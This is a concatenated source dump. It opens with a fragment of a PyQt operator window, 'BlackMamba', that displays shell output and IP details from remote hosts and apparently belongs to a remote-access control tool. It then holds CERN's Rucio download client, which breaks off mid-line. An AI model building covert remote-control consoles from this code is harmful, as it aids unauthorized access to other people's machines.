f: ctim = f.read() if ctim == "": time.sleep(1) continue elif e == 45: time_out = True break else: break try: if time_out: return except: pass with open(f'bin/request/transfer/stdout/{self.hselected}', 'r') as get_output: command_output = get_output.read() get_output.close() print(f'stdout -> {command_output}') if command_output == '' or command_output == ' ' or command_output == 'None' or command_output == 'NoneNone' \ or command_output == b'' or command_output == 'b""' or command_output == "b''": with open(f'bin/request/transfer/stdout/{self.hselected}', 'w') as get_output: get_output.write('') get_output.close() return get_the_stdout = command_output get_the_stdout = get_the_stdout.replace("b' ", "") get_the_stdout = get_the_stdout.replace("b'", "") rmp2 = get_the_stdout[-1:] if rmp2 == "'" or rmp2 == '"': get_the_stdout = get_the_stdout.replace(rmp2, "") get_the_stdout = get_the_stdout.replace('\\n', '\n') if get_the_stdout.startswith('b"') or get_the_stdout.startswith("b'"): get_the_stdout = get_the_stdout.replace('b"','') get_the_stdout = get_the_stdout.replace("b'",'') if get_the_stdout == 'None' or get_the_stdout == None or get_the_stdout == 'NoneNone' or get_the_stdout == "None": return if '[@%HOST_SHELL%@]' in get_the_stdout: get_the_stdout = get_the_stdout.replace('[@%HOST_SHELL%@]', '') old_content = self.host_terminal.text() if old_content == '' or old_content == ' ': self.host_terminal.setText(get_the_stdout) else: self.host_terminal.setText(old_content + '\n' + get_the_stdout) with open(f'bin/request/transfer/stdout/{self.hselected}', 'w') as clear_file: clear_file.write('') clear_file.close() return old_content = self.system_terminal.text() if old_content == '' or old_content == ' ': self.system_terminal.setText(get_the_stdout) else: self.system_terminal.setText(old_content + '\n' + get_the_stdout) with open(f'bin/request/transfer/stdout/{self.hselected}', 'w') as clear_file: clear_file.write('') clear_file.close() def clear_lineEdit(self): self.lineEdit.clear() def retranslateUi(self, MainWindow): with open(f'bin/hosts/{self.hselected}.txt', 'r') as get_info: info_host = get_info.read().split('\n') print(info_host) get_info.close() for search_info in info_host: if 'uname:' in search_info: self.name_host = search_info.replace('uname:', '') elif 'external_ip' in search_info: self.external_ip = search_info.replace('external_ip:', '') elif 'local_ip' in search_info: self.local_ip = search_info.replace('local_ip:', '') MainWindow.setWindowTitle(QCoreApplication.translate("MainWindow", u"MainWindow", None)) self.label_title_bar_top.setText(QCoreApplication.translate("MainWindow", f"{self.name_host}", None)) #if QT_CONFIG(tooltip) self.btn_minimize.setToolTip(QCoreApplication.translate("MainWindow", u"Minimize", None)) #endif // QT_CONFIG(tooltip) self.btn_minimize.setText("") #if QT_CONFIG(tooltip) self.btn_maximize_restore.setToolTip(QCoreApplication.translate("MainWindow", u"Maximize", None)) #endif // QT_CONFIG(tooltip) self.btn_maximize_restore.setText("") #if QT_CONFIG(tooltip) self.btn_close.setToolTip(QCoreApplication.translate("MainWindow", u"Close", None)) #endif // QT_CONFIG(tooltip) self.btn_close.setText("") self.label_top_info_1.setText(QCoreApplication.translate("MainWindow", u"{HOST_IP}", None)) self.label_6.setText(QCoreApplication.translate("MainWindow", u"HOME", None)) self.label.setText(QCoreApplication.translate("MainWindow", u"Empyt Page - By: Wanderson M. Pimenta", None)) self.label_7.setText(QCoreApplication.translate("MainWindow", u"Page Index 0", None)) #self.shell_host.setPlainText("") self.lineEdit.setPlaceholderText("") self.toolButton_4.setText(QCoreApplication.translate("MainWindow", u"...", None)) self.toolButton.setText(QCoreApplication.translate("MainWindow", u"...", None)) self.toolButton_2.setText(QCoreApplication.translate("MainWindow", u"...", None)) #self.toolButton_8.setText("") self.toolButton_3.setText(QCoreApplication.translate("MainWindow", u"...", None)) self.toolButton_5.setText("") #self.toolButton_6.setText("") #self.toolButton_9.setText(QCoreApplication.translate("MainWindow", u"...", None)) #self.label_2.setText(QCoreApplication.translate("MainWindow", u"00:00:00", None)) self.lineEdit_2.setPlaceholderText("") #self.toolButton_7.setText("") #self.toolButton_10.setText("") #self.toolButton_11.setText("") self.label_credits.setText(QCoreApplication.translate("MainWindow", u"BlackMamba by Loseys", None)) self.label_version.setText(QCoreApplication.translate("MainWindow", u"v1.0.0", None)) # retranslateUi
downloadclient.py
# Copyright 2018 CERN for the benefit of the ATLAS collaboration. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # - Tomas Javurek <tomasjavurek09@gmail.com>, 2018 # - Vincent Garonne <vgaronne@gmail.com>, 2018 # - Joaquin Bogado <jbogado@linti.unlp.edu.ar>, 2018 # - Nicolo Magini <nicolo.magini@cern.ch>, 2018-2019 # - Tobias Wegner <tobias.wegner@cern.ch>, 2018-2019 # - Hannes Hansen <hannes.jakob.hansen@cern.ch>, 2018-2019 # - Martin Barisits <martin.barisits@cern.ch>, 2019 # - Andrew Lister <andrew.lister@stfc.ac.uk>, 2019 # # PY3K COMPATIBLE from __future__ import division import copy import logging import os import random import shutil import signal import time try: from Queue import Queue, Empty, deque except ImportError: from queue import Queue, Empty, deque from threading import Thread from rucio.client.client import Client from rucio.common.exception import (InputValidationError, NoFilesDownloaded, NotAllFilesDownloaded, RucioException) from rucio.common.didtype import DIDType from rucio.common.pcache import Pcache from rucio.common.utils import adler32, detect_client_location, generate_uuid, parse_replicas_from_string, \ send_trace, sizefmt, execute, parse_replicas_from_file from rucio.common.utils import GLOBALLY_SUPPORTED_CHECKSUMS, CHECKSUM_ALGO_DICT, PREFERRED_CHECKSUM from rucio.rse import rsemanager as rsemgr from rucio import version class BaseExtractionTool: def __init__(self, program_name, useability_check_args, extract_args, logger): """ Initialises a extraction tool object :param program_name: the name of the archive extraction program, e.g., unzip :param useability_check_args: the arguments of the extraction program to test if its installed, e.g., --version :param extract_args: the arguments that will be passed to the program for extraction :param logger: logging.Logger object """ self.program_name = program_name self.useability_check_args = useability_check_args self.extract_args = extract_args self.logger = logger self.is_useable_result = None def is_useable(self): """ Checks if the extraction tool is installed and usable :returns: True if it is usable otherwise False """ if self.is_useable_result is not None: return self.is_useable_result self.is_usable_result = False cmd = '%s %s' % (self.program_name, self.useability_check_args) try: exitcode, out, err = execute(cmd) exitcode = int(exitcode) self.logger.debug('"%s" returned with exitcode %d' % (cmd, exitcode)) self.is_usable_result = (exitcode == 0) except Exception as error: self.logger.debug('Failed to execute: "%s"' % exitcode) self.logger.debug(error) return self.is_usable_result def try_extraction(self, archive_file_path, file_to_extract, dest_dir_path): """ Calls the extraction program to extract a file from an archive :param archive_file_path: path to the archive :param file_to_extract: file name to extract from the archive :param dest_dir_path: destination directory where the extracted file will be stored :returns: True on success otherwise False """ if not self.is_useable(): return False args_map = {'archive_file_path': archive_file_path, 'file_to_extract': file_to_extract, 'dest_dir_path': dest_dir_path} extract_args = self.extract_args % args_map cmd = '%s %s' % (self.program_name, extract_args) try: exitcode, out, err = execute(cmd) exitcode = int(exitcode) self.logger.debug('"%s" returned with exitcode %d' % (cmd, exitcode)) return (exitcode == 0) except Exception as error: self.logger.debug('Failed to execute: "%s"' % exitcode) self.logger.debug(error) return False class DownloadClient: def __init__(self, client=None, logger=None, tracing=True, check_admin=False, check_pcache=False): """ Initialises the basic settings for an DownloadClient object :param client: Optional: rucio.client.client.Client object. If None, a new object will be created. :param external_traces: Optional: reference to a list where traces can be added :param logger: Optional: logging.Logger object to use for downloads. If None nothing will be logged. """ if not logger: logger = logging.getLogger('%s.null' % __name__) logger.disabled = True self.check_pcache = check_pcache self.logger = logger self.tracing = tracing if not self.tracing: logger.debug('Tracing is turned off.') self.is_human_readable = True self.client = client if client else Client() # if token should be used, use only JWT tokens self.auth_token = self.client.auth_token if len(self.client.auth_token.split(".")) == 3 else None self.client_location = detect_client_location() self.is_tape_excluded = True self.is_admin = False if check_admin: account_attributes = list(self.client.list_account_attributes(self.client.account)) for attr in account_attributes[0]: if attr['key'] == 'admin': self.is_admin = attr['value'] is True break if self.is_admin: self.is_tape_excluded = False logger.debug('Admin mode enabled') self.trace_tpl = {} self.trace_tpl['hostname'] = self.client_location['fqdn'] self.trace_tpl['localSite'] = self.client_location['site'] self.trace_tpl['account'] = self.client.account if self.client.vo != 'def': self.trace_tpl['vo'] = self.client.vo self.trace_tpl['eventType'] = 'download' self.trace_tpl['eventVersion'] = 'api_%s' % version.RUCIO_VERSION[0] self.use_cea_threshold = 10 self.extraction_tools = [] # unzip <archive_file_path> <did_name> -d <dest_dir_path> extract_args = '%(archive_file_path)s %(file_to_extract)s -d %(dest_dir_path)s' self.extraction_tools.append(BaseExtractionTool('unzip', '-v', extract_args, logger)) # tar -C <dest_dir_path> -xf <archive_file_path> <did_name> extract_args = '-C %(dest_dir_path)s -xf %(archive_file_path)s %(file_to_extract)s' self.extraction_tools.append(BaseExtractionTool('tar', '--version', extract_args, logger)) def download_pfns(self, items, num_threads=2, trace_custom_fields={}, traces_copy_out=None): """ Download items with a given PFN. This function can only download files, no datasets. :param items: List of dictionaries. Each dictionary describing a file to download. Keys: pfn - PFN string of this file did - DID string of this file (e.g. 'scope:file.name'). Wildcards are not allowed rse - rse name (e.g. 'CERN-PROD_DATADISK'). RSE Expressions are not allowed base_dir - Optional: Base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) adler32 - Optional: The adler32 checmsum to compare the downloaded files adler32 checksum with md5 - Optional: The md5 checksum to compare the downloaded files md5 checksum with transfer_timeout - Optional: Timeout time for the download protocols. (Default: None) :param num_threads: Suggestion of number of threads to use for the download. It will be lowered if it's too high. :param trace_custom_fields: Custom key value pairs to send with the traces :param traces_copy_out: reference to an external list, where the traces should be uploaded :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState clientState can be one of the following: ALREADY_DONE, DONE, FILE_NOT_FOUND, FAIL_VALIDATE, FAILED :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises RucioException: if something unexpected went wrong during the download """ logger = self.logger trace_custom_fields['uuid'] = generate_uuid() logger.info('Processing %d item(s) for input' % len(items)) input_items = [] for item in items: did_str = item.get('did') pfn = item.get('pfn') rse = item.get('rse') if not did_str or not pfn or not rse: logger.debug(item) raise InputValidationError('The keys did, pfn, and rse are mandatory') logger.debug('Preparing PFN download of %s (%s) from %s' % (did_str, pfn, rse)) if '*' in did_str: logger.debug(did_str) raise InputValidationError('Cannot use PFN download with wildcard in DID') did_scope, did_name = self._split_did_str(did_str) dest_dir_path = self._prepare_dest_dir(item.get('base_dir', '.'), did_scope, item.get('no_subdir')) item['scope'] = did_scope item['name'] = did_name item['sources'] = [{'pfn': pfn, 'rse': rse}] dest_file_path = os.path.join(dest_dir_path, did_name) item['dest_file_paths'] = [dest_file_path] item['temp_file_path'] = '%s.part' % dest_file_path options = item.setdefault('merged_options', {}) options['ignore_checksum'] = 'adler32' not in item and 'md5' not in item options.setdefault('transfer_timeout', item.pop('transfer_timeout', None)) input_items.append(item) num_files_in = len(input_items) output_items = self._download_multithreaded(input_items, num_threads, trace_custom_fields, traces_copy_out) num_files_out = len(output_items) if num_files_in != num_files_out: raise RucioException('%d items were in the input queue but only %d are in the output queue' % (num_files_in, num_files_out)) return self._check_output(output_items) def download_dids(self, items, num_threads=2, trace_custom_fields={}, traces_copy_out=None): """ Download items with given DIDs. This function can also download datasets and wildcarded DIDs. :param items: List of dictionaries. Each dictionary describing an item to download. Keys: did - DID string of this file (e.g. 'scope:file.name') filters - Filter to select DIDs for download. Optional if DID is given rse - Optional: rse name (e.g. 'CERN-PROD_DATADISK') or rse expression from where to download no_resolve_archives - Optional: bool indicating whether archives should not be considered for download (Default: False) resolve_archives - Deprecated: Use no_resolve_archives instead force_scheme - Optional: force a specific scheme to download this item. (Default: None) base_dir - Optional: base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) nrandom - Optional: if the DID addresses a dataset, nrandom files will be randomly choosen for download from the dataset ignore_checksum - Optional: If true, skips the checksum validation between the downloaded file and the rucio catalouge. (Default: False) transfer_timeout - Optional: Timeout time for the download protocols. (Default: None) :param num_threads: Suggestion of number of threads to use for the download. It will be lowered if it's too high. :param trace_custom_fields: Custom key value pairs to send with the traces. :param traces_copy_out: reference to an external list, where the traces should be uploaded :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises RucioException: if something unexpected went wrong during the download """ logger = self.logger trace_custom_fields['uuid'] = generate_uuid() logger.info('Processing %d item(s) for input' % len(items)) download_info = self._resolve_and_merge_input_items(copy.deepcopy(items)) did_to_options = download_info['did_to_options'] merged_items = download_info['merged_items'] self.logger.debug('num_unmerged_items=%d; num_dids=%d; num_merged_items=%d' % (len(items), len(did_to_options), len(merged_items))) logger.info('Getting sources of DIDs') # if one item wants to resolve archives we enable it for all items resolve_archives = not all(item.get('no_resolve_archives') for item in merged_items) merged_items_with_sources = self._get_sources(merged_items, resolve_archives=resolve_archives) input_items = self._prepare_items_for_download(did_to_options, merged_items_with_sources, resolve_archives=resolve_archives) num_files_in = len(input_items) output_items = self._download_multithreaded(input_items, num_threads, trace_custom_fields, traces_copy_out) num_files_out = len(output_items) if num_files_in != num_files_out: raise RucioException('%d items were in the input queue but only %d are in the output queue' % (num_files_in, num_files_out)) return self._check_output(output_items) def download_from_metalink_file(self, item, metalink_file_path, num_threads=2, trace_custom_fields={}, traces_copy_out=None): """ Download items using a given metalink file. :param item: dictionary describing an item to download. Keys: base_dir - Optional: base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) ignore_checksum - Optional: If true, skips the checksum validation between the downloaded file and the rucio catalouge. (Default: False) transfer_timeout - Optional: Timeout time for the download protocols. (Default: None) :param num_threads: Suggestion of number of threads to use for the download. It will be lowered if it's too high. :param trace_custom_fields: Custom key value pairs to send with the traces. :param traces_copy_out: reference to an external list, where the traces should be uploaded :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises RucioException: if something unexpected went wrong during the download """ logger = self.logger logger.info('Getting sources from metalink file') metalinks = parse_replicas_from_file(metalink_file_path) trace_custom_fields['uuid'] = generate_uuid() did_to_options = {} item.setdefault('destinations', set()).add((item['base_dir'], item['no_subdir'])) for metalink in metalinks: did_to_options[metalink['did']] = item metalinks = [metalinks] input_items = self._prepare_items_for_download(did_to_options, metalinks) num_files_in = len(input_items) output_items = self._download_multithreaded(input_items, num_threads, trace_custom_fields, traces_copy_out) num_files_out = len(output_items) if num_files_in != num_files_out: raise RucioException('%d items were in the input queue but only %d are in the output queue' % (num_files_in, num_files_out)) return self._check_output(output_items) def _download_multithreaded(self, input_items, num_threads, trace_custom_fields={}, traces_copy_out=None): """ Starts an appropriate number of threads to download items from the input list. (This function is meant to be used as class internal only) :param input_items: list containing the input items to download :param num_threads: suggestion of how many threads should be started :param trace_custom_fields: Custom key value pairs to send with the traces :param traces_copy_out: reference to an external list, where the traces should be uploaded :returns: list with output items as dictionaries """ logger = self.logger num_files = len(input_items) nlimit = 5 num_threads = max(1, num_threads) num_threads = min(num_files, num_threads, nlimit) input_queue = Queue() output_queue = Queue() input_queue.queue = deque(input_items) if num_threads < 2: logger.info('Using main thread to download %d file(s)' % num_files) self._download_worker(input_queue, output_queue, trace_custom_fields, traces_copy_out, '') return list(output_queue.queue) logger.info('Using %d threads to download %d files' % (num_threads, num_files)) threads = [] for thread_num in range(0, num_threads): log_prefix = 'Thread %s/%s: ' % (thread_num, num_threads) kwargs = {'input_queue': input_queue, 'output_queue': output_queue, 'trace_custom_fields': trace_custom_fields, 'traces_copy_out': traces_copy_out, 'log_prefix': log_prefix} try: thread = Thread(target=self._download_worker, kwargs=kwargs) thread.start() threads.append(thread) except Exception as error: logger.warning('Failed to start thread %d' % thread_num) logger.debug(error) try: logger.debug('Waiting for threads to finish') for thread in threads: thread.join() except KeyboardInterrupt: logger.warning('You pressed Ctrl+C! Exiting gracefully') for thread in threads: thread.kill_received = True return list(output_queue.queue) def _download_worker(self, input_queue, output_queue, trace_custom_fields, traces_copy_out, log_prefix): """ This function runs as long as there are items in the input queue, downloads them and stores the output in the output queue. (This function is meant to be used as class internal only) :param input_queue: queue containing the input items to download :param output_queue: queue where the output items will be stored :param trace_custom_fields: Custom key value pairs to send with the traces :param traces_copy_out: reference to an external list, where the traces should be uploaded :param log_prefix: string that will be put at the beginning of every log message """ logger = self.logger logger.debug('%sStart processing queued downloads' % log_prefix) while True: try: item = input_queue.get_nowait() except Empty: break try: trace = copy.deepcopy(self.trace_tpl) trace.update(trace_custom_fields) download_result = self._download_item(item, trace, traces_copy_out, log_prefix) output_queue.put(download_result) except KeyboardInterrupt: logger.warning('You pressed Ctrl+C! Exiting gracefully') os.kill(os.getpgid(), signal.SIGINT) break except Exception as error: logger.error('%sFailed to download item' % log_prefix) logger.debug(error) def _download_item(self, item, trace, traces_copy_out, log_prefix=''): """ Downloads the given item and sends traces for success/failure. (This function is meant to be used as class internal only) :param item: dictionary that describes the item to download :param trace: dictionary representing a pattern of trace that will be send :param traces_copy_out: reference to an external list, where the traces should be uploaded :param log_prefix: string that will be put at the beginning of every log message :returns: dictionary with all attributes from the input item and a clientState attribute """ logger = self.logger pcache = Pcache() if self.check_pcache and len(item.get('archive_items', [])) == 0 else None did_scope = item['scope'] did_name = item['name'] did_str = '%s:%s' % (did_scope, did_name) logger.info('%sPreparing download of %s' % (log_prefix, did_str)) trace['scope'] = did_scope trace['filename'] = did_name trace.setdefault('datasetScope', item.get('dataset_scope', '')) trace.setdefault('dataset', item.get('dataset_name', '')) trace.setdefault('filesize', item.get('bytes')) trace.setdefault('clientState', 'PROCESSING') trace.setdefault('stateReason', 'UNKNOWN') dest_file_paths = item['dest_file_paths'] # appending trace to list reference, if the reference exists if traces_copy_out is not None: traces_copy_out.append(trace) # if file already exists make sure it exists at all destination paths, set state, send trace, and return for dest_file_path in dest_file_paths: if os.path.isfile(dest_file_path): logger.info('%sFile exists already locally: %s' % (log_prefix, did_str)) for missing_file_path in dest_file_paths: if not os.path.isfile(missing_file_path): logger.debug("copying '%s' to '%s'" % (dest_file_path, missing_file_path)) shutil.copy2(dest_file_path, missing_file_path) item['clientState'] = 'ALREADY_DONE' trace['transferStart'] = time.time() trace['transferEnd'] = time.time() trace['clientState'] = 'ALREADY_DONE' send_trace(trace, self.client.host, self.client.user_agent) return item # check if file has replicas sources = item.get('sources') if not sources or not len(sources): logger.warning('%sNo available source found for file: %s' % (log_prefix, did_str)) item['clientState'] = 'FILE_NOT_FOUND' trace['clientState'] = 'FILE_NOT_FOUND' trace['stateReason'] = 'No available sources' self._send_trace(trace) return item # checking Pcache storage_prefix = None if pcache: # to check only first replica is enough pfn = sources[0]['pfn'] rse_name = sources[0]['rse'] # protocols are needed to extract deterministic part of the pfn scheme = None prots = self.client.get_protocols(rse_name) for prot in prots: if prot['scheme'] in pfn and prot['prefix'] in pfn: scheme = prot['scheme'] storage_prefix = prot['prefix'] # proceed with the actual check logger.info('Checking whether %s is in pcache' % dest_file_path) pcache_state = None hardlink_state = None try: pcache_state, hardlink_state = pcache.check_and_link(src=pfn, storage_root=storage_prefix, dst=dest_file_path) except Exception as e: logger.warning('Pcache failure: %s' % str(e)) # if file found in pcache, send trace and return if pcache_state == 0 and hardlink_state == 1: logger.info('File found in pcache.') item['clientState'] = 'FOUND_IN_PCACHE' trace['transferStart'] = time.time() trace['transferEnd'] = time.time() trace['clientState'] = 'FOUND_IN_PCACHE' self._send_trace(trace) return item else: logger.info('File not found in pcache.') # try different PFNs until one succeeded temp_file_path = item['temp_file_path'] success = False i = 0 while not success and i < len(sources): source = sources[i] i += 1 pfn = source['pfn'] rse_name = source['rse'] scheme = pfn.split(':')[0] try: rse = rsemgr.get_rse_info(rse_name, vo=self.client.vo) except RucioException as error: logger.warning('%sCould not get info of RSE %s: %s' % (log_prefix, rse_name, error)) trace['stateReason'] = str(error) continue trace['remoteSite'] = rse_name trace['clientState'] = 'DOWNLOAD_ATTEMPT' trace['protocol'] = scheme logger.info('%sTrying to download with %s from %s: %s ' % (log_prefix, scheme, rse_name, did_str)) try: protocol = rsemgr.create_protocol(rse, operation='read', scheme=scheme, auth_token=self.auth_token, logger=logger) protocol.connect() except Exception as error: logger.warning('%sFailed to create protocol for PFN: %s' % (log_prefix, pfn)) logger.debug('scheme: %s, exception: %s' % (scheme, error)) trace['stateReason'] = str(error) continue attempt = 0 retries = 2 # do some retries with the same PFN if the download fails while not success and attempt < retries: attempt += 1 item['attemptnr'] = attempt if os.path.isfile(temp_file_path): logger.debug('%sDeleting existing temporary file: %s' % (log_prefix, temp_file_path)) os.unlink(temp_file_path) start_time = time.time() try: protocol.get(pfn, temp_file_path, transfer_timeout=item.get('merged_options', {}).get('transfer_timeout')) success = True except Exception as error: logger.debug(error) trace['clientState'] = str(type(error).__name__) trace['stateReason'] = str(error) end_time = time.time() if success and not item.get('merged_options', {}).get('ignore_checksum', False): verified, rucio_checksum, local_checksum = _verify_checksum(item, temp_file_path) if not verified: success = False os.unlink(temp_file_path) logger.warning('%sChecksum validation failed for file: %s' % (log_prefix, did_str)) logger.debug('Local checksum: %s, Rucio checksum: %s' % (local_checksum, rucio_checksum)) trace['clientState'] = 'FAIL_VALIDATE' trace['stateReason'] = 'Checksum validation failed: Local checksum: %s, Rucio checksum: %s' % (local_checksum, rucio_checksum) if not success: logger.warning('%sDownload attempt failed. Try %s/%s' % (log_prefix, attempt, retries)) self._send_trace(trace) protocol.close() if not success: logger.error('%sFailed to download file %s' % (log_prefix, did_str)) item['clientState'] = 'FAILED' return item dest_file_path_iter = iter(dest_file_paths) first_dest_file_path = next(dest_file_path_iter) logger.debug("renaming '%s' to '%s'" % (temp_file_path, first_dest_file_path)) os.rename(temp_file_path, first_dest_file_path) # if the file was downloaded with success, it can be linked to pcache if pcache: logger.info('File %s is going to be registerred into pcache.' % dest_file_path) try: pcache_state, hardlink_state = pcache.check_and_link(src=pfn, storage_root=storage_prefix, local_src=first_dest_file_path) logger.info('File %s is now registerred into pcache.' % first_dest_file_path) except Exception as e: logger.warning('Failed to load file to pcache: %s' % str(e)) for cur_dest_file_path in dest_file_path_iter: logger.debug("copying '%s' to '%s'" % (first_dest_file_path, cur_dest_file_path)) shutil.copy2(first_dest_file_path, cur_dest_file_path) trace['transferStart'] = start_time trace['transferEnd'] = end_time trace['clientState'] = 'DONE' trace['stateReason'] = 'OK' item['clientState'] = 'DONE' self._send_trace(trace) duration = round(end_time - start_time, 2) size = item.get('bytes') size_str = sizefmt(size, self.is_human_readable) if size and duration: rate = round((size / duration) * 1e-6, 2) logger.info('%sFile %s successfully downloaded. %s in %s seconds = %s MBps' % (log_prefix, did_str, size_str, duration, rate)) else: logger.info('%sFile %s successfully downloaded in %s seconds' % (log_prefix, did_str, duration)) file_items_in_archive = item.get('archive_items', []) if len(file_items_in_archive) > 0: logger.info('%sExtracting %d file(s) from %s' % (log_prefix, len(file_items_in_archive), did_name)) archive_file_path = first_dest_file_path for file_item in file_items_in_archive: extraction_ok = False extract_file_name = file_item['name'] dest_file_path_iter = iter(file_item['dest_file_paths']) first_dest_file_path = next(dest_file_path_iter) dest_dir = os.path.dirname(first_dest_file_path) logger.debug('%sExtracting %s to %s' % (log_prefix, extract_file_name, dest_dir)) for extraction_tool in self.extraction_tools: if extraction_tool.try_extraction(archive_file_path, extract_file_name, dest_dir): extraction_ok = True break if not extraction_ok: logger.error('Extraction of file %s from archive %s failed.' % (extract_file_name, did_name)) continue first_dest_file_path = os.path.join(dest_dir, extract_file_name) for cur_dest_file_path in dest_file_path_iter: logger.debug("copying '%s' to '%s'" % (first_dest_file_path, cur_dest_file_path)) shutil.copy2(first_dest_file_path, cur_dest_file_path) if not item.get('shall_keep_archive'): logger.debug('%sDeleting archive %s' % (log_prefix, did_name)) os.remove(archive_file_path) return item def download_aria2c(self, items, trace_custom_fields={}, filters={}): """ Uses aria2c to download the items with given DIDs. This function can also download datasets and wildcarded DIDs. It only can download files that are available via https/davs. Aria2c needs to be installed and X509_USER_PROXY needs to be set! :param items: List of dictionaries. Each dictionary describing an item to download. Keys: did - DID string of this file (e.g. 'scope:file.name'). Wildcards are not allowed rse - Optional: rse name (e.g. 'CERN-PROD_DATADISK') or rse expression from where to download base_dir - Optional: base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) nrandom - Optional: if the DID addresses a dataset, nrandom files will be randomly choosen for download from the dataset ignore_checksum - Optional: If true, skips the checksum validation between the downloaded file and the rucio catalouge. (Default: False) :param trace_custom_fields: Custom key value pairs to send with the traces :param filters: dictionary containing filter options :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises RucioException: if something went wrong during the download (e.g. aria2c could not be started) """ logger = self.logger trace_custom_fields['uuid'] = generate_uuid() rpc_secret = '%x' % (random.getrandbits(64)) rpc_auth = 'token:%s' % rpc_secret rpcproc, aria_rpc = self._start_aria2c_rpc(rpc_secret) for item in items: item['force_scheme'] = ['https', 'davs'] logger.info('Processing %d item(s) for input' % len(items)) download_info = self._resolve_and_merge_input_items(copy.deepcopy(items)) did_to_options = download_info['did_to_options'] merged_items = download_info['merged_items'] self.logger.debug('num_unmerged_items=%d; num_dids=%d; num_merged_items=%d' % (len(items), len(did_to_options), len(merged_items))) logger.info('Getting sources of DIDs') merged_items_with_sources = self._get_sources(merged_items) input_items = self._prepare_items_for_download(did_to_options, merged_items_with_sources, resolve_archives=False) try: output_items = self._download_items_aria2c(input_items, aria_rpc, rpc_auth, trace_custom_fields) except Exception as error: self.logger.error('Unknown exception during aria2c download') self.logger.debug(error) finally: try: aria_rpc.aria2.forceShutdown(rpc_auth) finally: rpcproc.terminate() return self._check_output(output_items) def _start_aria2c_rpc(self, rpc_secret): """ Starts aria2c in RPC mode as a subprocess. Also creates the RPC proxy instance. (This function is meant to be used as class internal only) :param rpc_secret: the secret for the RPC proxy :returns: a tupel with the process and the rpc proxy objects :raises RucioException: if the process or the proxy could not be created """ logger = self.logger try: from xmlrpclib import ServerProxy as RPCServerProxy # py2 except ImportError: from xmlrpc.client import ServerProxy as RPCServerProxy cmd = 'aria2c '\ '--enable-rpc '\ '--certificate=$X509_USER_PROXY '\ '--private-key=$X509_USER_PROXY '\ '--ca-certificate=/etc/pki/tls/certs/CERN-bundle.pem '\ '--quiet=true '\ '--allow-overwrite=true '\ '--auto-file-renaming=false '\ '--stop-with-process=%d '\ '--rpc-secret=%s '\ '--rpc-listen-all=false '\ '--rpc-max-request-size=100M '\ '--connect-timeout=5 '\ '--rpc-listen-port=%d' logger.info('Starting aria2c rpc server...') # trying up to 3 random ports for attempt in range(3): port = random.randint(1024, 65534) logger.debug('Trying to start rpc server on port: %d' % port) try: to_exec = cmd % (os.getpid(), rpc_secret, port) logger.debug(to_exec) rpcproc = execute(to_exec, False) except Exception as error: raise RucioException('Failed to execute aria2c!', error) # if port is in use aria should fail to start so give it some time time.sleep(2) # did it fail? if rpcproc.poll() is not None: (out, err) = rpcproc.communicate() logger.debug('Failed to start aria2c with port: %d' % port) logger.debug('aria2c output: %s' % out) else: break if rpcproc.poll() is not None: raise RucioException('Failed to start aria2c rpc server!') try: aria_rpc = RPCServerProxy('http://localhost:%d/rpc' % port) except Exception as error: rpcproc.kill() raise RucioException('Failed to initialise rpc proxy!', error) return (rpcproc, aria_rpc) def _download_items_aria2c(self, items, aria_rpc, rpc_auth, trace_custom_fields={}): """ Uses aria2c to download the given items. Aria2c needs to be started as RPC background process first and a RPC proxy is needed. (This function is meant to be used as class internal only) :param items: list of dictionaries containing one dict for each file to download :param aria_rcp: RPCProxy to the aria2c process :param rpc_auth: the rpc authentication token :param trace_custom_fields: Custom key value pairs to send with the traces :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState """ logger = self.logger gid_to_item = {} # maps an aria2c download id (gid) to the download item pfn_to_rse = {} items_to_queue = [item for item in items] # items get removed from gid_to_item when they are complete or failed while len(gid_to_item) or len(items_to_queue): num_queued = 0 # queue up to 100 files and then check arias status while (num_queued < 100) and len(items_to_queue): item = items_to_queue.pop() file_scope = item['scope'] file_name = item['name'] file_did_str = '%s:%s' % (file_scope, file_name) trace = {'scope': file_scope, 'filename': file_name, 'datasetScope': item.get('dataset_scope', ''), 'dataset': item.get('dataset_name', ''), 'protocol': 'https', 'remoteSite': '', 'filesize': item.get('bytes', None), 'transferStart': time.time(), 'transferEnd': time.time()} trace.update(self.trace_tpl) trace.update(trace_custom_fields) # get pfns from all replicas pfns = [] for src in item['sources']: pfn = src['pfn'] if pfn[0:4].lower() == 'davs': pfn = pfn.replace('davs', 'https', 1) pfns.append(pfn) pfn_to_rse[pfn] = src['rse'] # does file exist and are sources available? # workaround: only consider first dest file path for aria2c download dest_file_path = next(iter(item['dest_file_paths'])) if os.path.isfile(dest_file_path): logger.info('File exists already locally: %s' % file_did_str) item['clientState'] = 'ALREADY_DONE' trace['clientState'] = 'ALREADY_DONE' self._send_trace(trace) elif len(pfns) == 0: logger.warning('No available source found for file: %s' % file_did_str) item['clientState'] = 'FILE_NOT_FOUND' trace['clientState'] = 